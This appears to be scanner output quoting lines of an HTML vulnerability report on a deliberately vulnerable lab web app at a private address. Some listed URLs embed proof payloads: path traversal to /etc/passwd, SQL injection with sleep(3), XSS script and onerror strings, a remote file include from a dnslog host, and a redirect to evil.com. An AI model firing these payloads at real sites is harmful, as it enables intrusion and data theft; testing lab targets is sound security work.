<td><span style="font-size:12px;color:var(--text-muted)">远程代码执行</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/rce/rce_ping.php">http://192.16 - Network accessline 799
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/rce/rce_ping.php">http://192.168.1.133:8000/vul/rce/rce_ping.php</div></td> <td><span class="row-open-indic - Network accessline 800
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/rce/rce_ping.php">http://192.168.1.133:8000/vul/rce/rce_ping.php</div></td> - Network accessline 807
<td><span style="font-size:12px;color:var(--text-muted)">远程代码执行</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/rce/rce_eval.php">http://192.16 - Network accessline 808
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/rce/rce_eval.php">http://192.168.1.133:8000/vul/rce/rce_eval.php</div></td> <td><span class="row-open-indic - Network accessline 809
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/rce/rce_eval.php">http://192.168.1.133:8000/vul/rce/rce_eval.php</div></td> - Network accessline 816
<td><span style="font-size:12px;color:var(--text-muted)">访问控制缺陷</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/overpermission/op2/op2_admin_ed - Network accessline 817
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/overpermission/op2/op2_admin_edit.php">http://192.168.1.133:8000/vul/overpermission/op2/op2_admin_edit.php</div></t - Network accessline 818
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/overpermission/op2/op2_admin_edit.php">http://192.168.1.133:8000/vul/overpermission/op2/op2_admin_edit.php</div></td> - Network accessline 825
<td><span style="font-size:12px;color:var(--text-muted)">认证绕过</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_form.php">http://19 - Network accessline 826
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_form.php">http://192.168.1.133:8000/vul/burteforce/bf_form.php</div></td> <td><span class="ro - Network accessline 827
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_form.php">http://192.168.1.133:8000/vul/burteforce/bf_form.php</div></td> - Network accessline 834
<td><span style="font-size:12px;color:var(--text-muted)">认证绕过</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_server.php">http:// - Network accessline 835
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_server.php">http://192.168.1.133:8000/vul/burteforce/bf_server.php</div></td> <td><span class - Network accessline 836
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_server.php">http://192.168.1.133:8000/vul/burteforce/bf_server.php</div></td> - Network accessline 843
<td><span style="font-size:12px;color:var(--text-muted)">CSRF</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_login.php"> - Network accessline 844
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_login.php">http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_login.php</div></td> < - Network accessline 845
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_login.php">http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_login.php</div></td> - Network accessline 852
<td><span style="font-size:12px;color:var(--text-muted)">CSRF</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrfpost/csrf_post_login.php - Network accessline 853
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrfpost/csrf_post_login.php">http://192.168.1.133:8000/vul/csrf/csrfpost/csrf_post_login.php</div></td> - Network accessline 854
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrfpost/csrf_post_login.php">http://192.168.1.133:8000/vul/csrf/csrfpost/csrf_post_login.php</div></td> - Network accessline 861
<td><span style="font-size:12px;color:var(--text-muted)">CSRF</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrftoken/token_get_login.ph - Network accessline 862
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrftoken/token_get_login.php">http://192.168.1.133:8000/vul/csrf/csrftoken/token_get_login.php</div></td> - Network accessline 863
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrftoken/token_get_login.php">http://192.168.1.133:8000/vul/csrf/csrftoken/token_get_login.php</div></td> - Network accessline 870
<td><span style="font-size:12px;color:var(--text-muted)">文件包含</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename - Network accessline 871
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd">http://192.168.1.133:8000/vul/fileinclude/fi_local.php?fi - Network accessline 872
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd">http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd</div></td> - Network accessline 879
<td><span style="font-size:12px;color:var(--text-muted)">文件包含</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/fileinclude/fi_remote.php?filenam - Network accessline 880
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/fileinclude/fi_remote.php?filename=http://4h3jg1.dnslog.cn/test.txt">http://192.168.1.133:8000/vul/fileinclude/fi_r - Network accessline 881
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/fileinclude/fi_remote.php?filename=http://4h3jg1.dnslog.cn/test.txt">http://192.168.1.133:8000/vul/fileinclude/fi_remote.php?filename=http://4h3jg1.dnslog.cn/test.txt</div></ - Network accessline 888
<td><span style="font-size:12px;color:var(--text-muted)">文件包含</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafedownload/execdownload.php?f - Network accessline 889
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafedownload/execdownload.php?filename=../../../../etc/passwd">http://192.168.1.133:8000/vul/unsafedownload/execd - Network accessline 890
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafedownload/execdownload.php?filename=../../../../etc/passwd">http://192.168.1.133:8000/vul/unsafedownload/execdownload.php?filename=../../../../etc/passwd</div></td> - Network accessline 897
<td><span style="font-size:12px;color:var(--text-muted)">SQL注入</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_del.php?id=60%27">http - Network accessline 898
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_del.php?id=60%27">http://192.168.1.133:8000/vul/sqli/sqli_del.php?id=60%27</div></td> <td><span c - Network accessline 899
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_del.php?id=60%27">http://192.168.1.133:8000/vul/sqli/sqli_del.php?id=60%27</div></td> - Network accessline 906
<td><span style="font-size:12px;color:var(--text-muted)">SQL注入</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_blind_b.php?name=vince - Network accessline 907
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_blind_b.php?name=vince%27+and+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2">http://192.168.1.133:8000/vul/sqli/ - Network accessline 908
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_blind_b.php?name=vince%27+and+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2">http://192.168.1.133:8000/vul/sqli/sqli_blind_b.php?name=vince%27+and+1%3D1%23&submit=%E6% - Network accessline 915
<td><span style="font-size:12px;color:var(--text-muted)">SQL注入</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_blind_t.php?name=vince - Network accessline 916
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_blind_t.php?name=vince%27+and+sleep(3)%23&submit=%E6%9F%A5%E8%AF%A2">http://192.168.1.133:8000/vul/sq - Network accessline 917
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_blind_t.php?name=vince%27+and+sleep(3)%23&submit=%E6%9F%A5%E8%AF%A2">http://192.168.1.133:8000/vul/sqli/sqli_blind_t.php?name=vince%27+and+sleep(3)%23&submi - Network accessline 924
<td><span style="font-size:12px;color:var(--text-muted)">XSS注入</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_stored.php">http://192.1 - Network accessline 925
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_stored.php">http://192.168.1.133:8000/vul/xss/xss_stored.php</div></td> <td><span class="row-open-i - Network accessline 926
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_stored.php">http://192.168.1.133:8000/vul/xss/xss_stored.php</div></td> - Network accessline 933
<td><span style="font-size:12px;color:var(--text-muted)">SSRF</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/ssrf/ssrf_curl.php?url=http://127 - Network accessline 934
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pkxss/index.php">http://192.168.1.133:8000/vul/ssrf/ssrf_curl.php?url=http: - Network accessline 935
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pkxss/index.php">http://192.168.1.133:8000/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pkxss/index.php</div></td> - Network accessline 942
<td><span style="font-size:12px;color:var(--text-muted)">SSRF</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/ssrf/ssrf_fgc.php?file=http://127 - Network accessline 943
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pkxss/index.php">http://192.168.1.133:8000/vul/ssrf/ssrf_fgc.php?file=http: - Network accessline 944
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pkxss/index.php">http://192.168.1.133:8000/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pkxss/index.php</div></td> - Network accessline 951
<td><span style="font-size:12px;color:var(--text-muted)">XXE注入</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xxe/xxe_1.php">http://192.168.1. - Network accessline 952
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xxe/xxe_1.php">http://192.168.1.133:8000/vul/xxe/xxe_1.php</div></td> <td><span class="row-open-indicator"> - Network accessline 953
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xxe/xxe_1.php">http://192.168.1.133:8000/vul/xxe/xxe_1.php</div></td> - Network accessline 960
<td><span style="font-size:12px;color:var(--text-muted)">反序列化漏洞</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unserilization/unser.php">http: - Network accessline 961
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unserilization/unser.php">http://192.168.1.133:8000/vul/unserilization/unser.php</div></td> <td><span class - Network accessline 962
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unserilization/unser.php">http://192.168.1.133:8000/vul/unserilization/unser.php</div></td> - Network accessline 969
<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/.git/HEAD">http://192.168.1.133:8000/ - Network accessline 970
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/.git/HEAD">http://192.168.1.133:8000/.git/HEAD</div></td> <td><span class="row-open-indicator">›</span></td> - Network accessline 971
<td><div class="vuln-target" title="http://192.168.1.133:8000/.git/HEAD">http://192.168.1.133:8000/.git/HEAD</div></td> - Network accessline 978
<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../. - Network accessline 979
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../../../../etc/passwd">http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../ - Network accessline 980
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../../../../etc/passwd">http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../../../../etc/passwd</div></td> - Network accessline 987
<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../. - Network accessline 988
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../../../../var/www/html/pkxss/pkxss_login.php">http://192.168.1.133:8000/vul/dir/dir_ - Network accessline 989
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../../../../var/www/html/pkxss/pkxss_login.php">http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../../../../var/www/html/pkxss/pkxss_l - Network accessline 996
<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/infoleak/findabc.php">http://192. - Network accessline 997
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/infoleak/findabc.php">http://192.168.1.133:8000/vul/infoleak/findabc.php</div></td> <td><span class="row-op - Network accessline 998
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/infoleak/findabc.php">http://192.168.1.133:8000/vul/infoleak/findabc.php</div></td> - Network accessline 1005
<td><span style="font-size:12px;color:var(--text-muted)">认证绕过</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_client.php">http:// - Network accessline 1006
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_client.php">http://192.168.1.133:8000/vul/burteforce/bf_client.php</div></td> <td><span class - Network accessline 1007
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_client.php">http://192.168.1.133:8000/vul/burteforce/bf_client.php</div></td> - Network accessline 1014
<td><span style="font-size:12px;color:var(--text-muted)">认证绕过</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_token.php">http://1 - Network accessline 1015
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_token.php">http://192.168.1.133:8000/vul/burteforce/bf_token.php</div></td> <td><span class=" - Network accessline 1016
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_token.php">http://192.168.1.133:8000/vul/burteforce/bf_token.php</div></td> - Network accessline 1023
<td><span style="font-size:12px;color:var(--text-muted)">认证绕过</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_header/sqli_header_logi - Network accessline 1024
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_header/sqli_header_login.php">http://192.168.1.133:8000/vul/sqli/sqli_header/sqli_header_login.php</div>< - Network accessline 1025
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_header/sqli_header_login.php">http://192.168.1.133:8000/vul/sqli/sqli_header/sqli_header_login.php</div></td> - Network accessline 1032
<td><span style="font-size:12px;color:var(--text-muted)">竞争条件</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_form.php">http://19 - Network accessline 1033
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_form.php">http://192.168.1.133:8000/vul/burteforce/bf_form.php</div></td> <td><span class="ro - Network accessline 1034
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_form.php">http://192.168.1.133:8000/vul/burteforce/bf_form.php</div></td> - Network accessline 1041
<td><span style="font-size:12px;color:var(--text-muted)">业务逻辑漏洞</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/pkxss/pkxss_login.php">http://192.1 - Network accessline 1042
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/pkxss/pkxss_login.php">http://192.168.1.133:8000/pkxss/pkxss_login.php</div></td> <td><span class="row-open-ind - Network accessline 1043
<td><div class="vuln-target" title="http://192.168.1.133:8000/pkxss/pkxss_login.php">http://192.168.1.133:8000/pkxss/pkxss_login.php</div></td> - Network accessline 1050
<td><span style="font-size:12px;color:var(--text-muted)">文件包含</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafeupload/getimagesize.php">ht - Network accessline 1051
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafeupload/getimagesize.php">http://192.168.1.133:8000/vul/unsafeupload/getimagesize.php</div></td> <td>< - Network accessline 1052
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafeupload/getimagesize.php">http://192.168.1.133:8000/vul/unsafeupload/getimagesize.php</div></td> - Network accessline 1059
<td><span style="font-size:12px;color:var(--text-muted)">XSS注入</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_reflected_get.php?messag - Network accessline 1060
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28%27xss_test%27%29%3C%2Fscript%3E&submit=submit">http://19 - Network accessline 1061
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28%27xss_test%27%29%3C%2Fscript%3E&submit=submit">http://192.168.1.133:8000/vul/xss/xss_reflected_get.php?message=%3Cs - Network accessline 1068
<td><span style="font-size:12px;color:var(--text-muted)">XSS注入</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_01.php?message=%3Cimg+sr - Network accessline 1069
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_01.php?message=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&submit=submit">http://192.168.1.133:8000/vul/xs - Network accessline 1070
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_01.php?message=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&submit=submit">http://192.168.1.133:8000/vul/xss/xss_01.php?message=%3Cimg+src%3Dx+onerror%3Dalert%281%29% - Network accessline 1077
<td><span style="font-size:12px;color:var(--text-muted)">XSS注入</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_04.php?message=alert%281 - Network accessline 1078
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_04.php?message=alert%281%29&submit=submit">http://192.168.1.133:8000/vul/xss/xss_04.php?message=alert%2 - Network accessline 1079
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_04.php?message=alert%281%29&submit=submit">http://192.168.1.133:8000/vul/xss/xss_04.php?message=alert%281%29&submit=submit</div></td> - Network accessline 1086
<td><span style="font-size:12px;color:var(--text-muted)">开放重定向</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url= - Network accessline 1087
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com">http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http - Network accessline 1088
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com">http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com</div></td> - Network accessline 1095
<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/infoleak/findabc.php">http://192. - Network accessline 1096
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/infoleak/findabc.php">http://192.168.1.133:8000/vul/infoleak/findabc.php</div></td> <td><span class="row-op - Network accessline 1097
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/infoleak/findabc.php">http://192.168.1.133:8000/vul/infoleak/findabc.php</div></td> - Network accessline 1104
<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/inc/">http://192.168.1.133:8000/inc/< - Network accessline 1105
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/inc/">http://192.168.1.133:8000/inc/</div></td> <td><span class="row-open-indicator">›</span></td> - Network accessline 1106
<td><div class="vuln-target" title="http://192.168.1.133:8000/inc/">http://192.168.1.133:8000/inc/</div></td> - Network accessline 1113
<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/.DS_Store">http://192.168.1.133:8000/ - Network accessline 1114
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/.DS_Store">http://192.168.1.133:8000/.DS_Store</div></td> <td><span class="row-open-indicator">›</span></td> - Network accessline 1115
<td><div class="vuln-target" title="http://192.168.1.133:8000/.DS_Store">http://192.168.1.133:8000/.DS_Store</div></td> - Network accessline 1122
<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/phpmyadmin/">http://192.168.1.133:800 - Network accessline 1123
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/phpmyadmin/">http://192.168.1.133:8000/phpmyadmin/</div></td> <td><span class="row-open-indicator">›</span></td - Network accessline 1124
<td><div class="vuln-target" title="http://192.168.1.133:8000/phpmyadmin/">http://192.168.1.133:8000/phpmyadmin/</div></td> - Network accessline 1131
<td><span style="font-size:12px;color:var(--text-muted)">竞争条件</span></td> <td><span class="conf-badge">likely</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_token.php">http://192. - Network accessline 1132
<td><span class="conf-badge">likely</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_token.php">http://192.168.1.133:8000/vul/burteforce/bf_token.php</div></td> <td><span class="row - Network accessline 1133
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_token.php">http://192.168.1.133:8000/vul/burteforce/bf_token.php</div></td> - Network accessline 1140
<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/.git/">http://192.168.1.133:8000/.git - Network accessline 1141
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/.git/">http://192.168.1.133:8000/.git/</div></td> <td><span class="row-open-indicator">›</span></td> - Network accessline 1142
<td><div class="vuln-target" title="http://192.168.1.133:8000/.git/">http://192.168.1.133:8000/.git/</div></td> - Network accessline 1149
<td><span style="font-size:12px;color:var(--text-muted)">认证绕过</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/overpermission/op2/op2_login.php" - Network accessline 1150
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/overpermission/op2/op2_login.php">http://192.168.1.133:8000/vul/overpermission/op2/op2_login.php</div></td> - Network accessline 1151
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/overpermission/op2/op2_login.php">http://192.168.1.133:8000/vul/overpermission/op2/op2_login.php</div></td> - Network accessline 1158
<td><span style="font-size:12px;color:var(--text-muted)">业务逻辑漏洞</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php" - Network accessline 1159
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php">http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php</div></td> <td - Network accessline 1160
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php">http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php</div></td> - Network accessline 1167
<td><span style="font-size:12px;color:var(--text-muted)">业务逻辑漏洞</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/bqg/login.html">http://192.168.1.13 - Network accessline 1168
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/bqg/login.html">http://192.168.1.133:8000/bqg/login.html</div></td> <td><span class="row-open-indicator">›</spa - Network accessline 1169
<td><div class="vuln-target" title="http://192.168.1.133:8000/bqg/login.html">http://192.168.1.133:8000/bqg/login.html</div></td> - Network accessline 1176
<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/">http://192.168.1.133:8000/</div></t - Network accessline 1177
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/">http://192.168.1.133:8000/</div></td> <td><span class="row-open-indicator">›</span></td> - Network accessline 1178
<td><div class="vuln-target" title="http://192.168.1.133:8000/">http://192.168.1.133:8000/</div></td> - Network accessline 1185
<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../. - Network accessline 1186
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../../../../etc/hostname">http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../. - Network accessline 1187
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../../../../etc/hostname">http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../../../../etc/hostname</div></td> - Network accessline 1194
<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td> <td><span class="conf-badge">likely</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../">http://1 - Network accessline 1195
<td><span class="conf-badge">likely</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../">http://192.168.1.133:8000/vul/dir/dir_list.php?title=../</div></td> <td><span clas - Network accessline 1196
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../">http://192.168.1.133:8000/vul/dir/dir_list.php?title=../</div></td> - Network accessline 1203
<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td> <td><span class="conf-badge">potential</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/">http://192.168.1.133:8000/</div></t - Network accessline 1204
<td><span class="conf-badge">potential</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/">http://192.168.1.133:8000/</div></td> <td><span class="row-open-indicator">›</span></td> - Network accessline 1205
<td><div class="vuln-target" title="http://192.168.1.133:8000/">http://192.168.1.133:8000/</div></td> - Network accessline 1212
<td><span style="font-size:12px;color:var(--text-muted)">访问控制缺陷</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/">http://192.168.1.133:8000/</div>< - Network accessline 1213
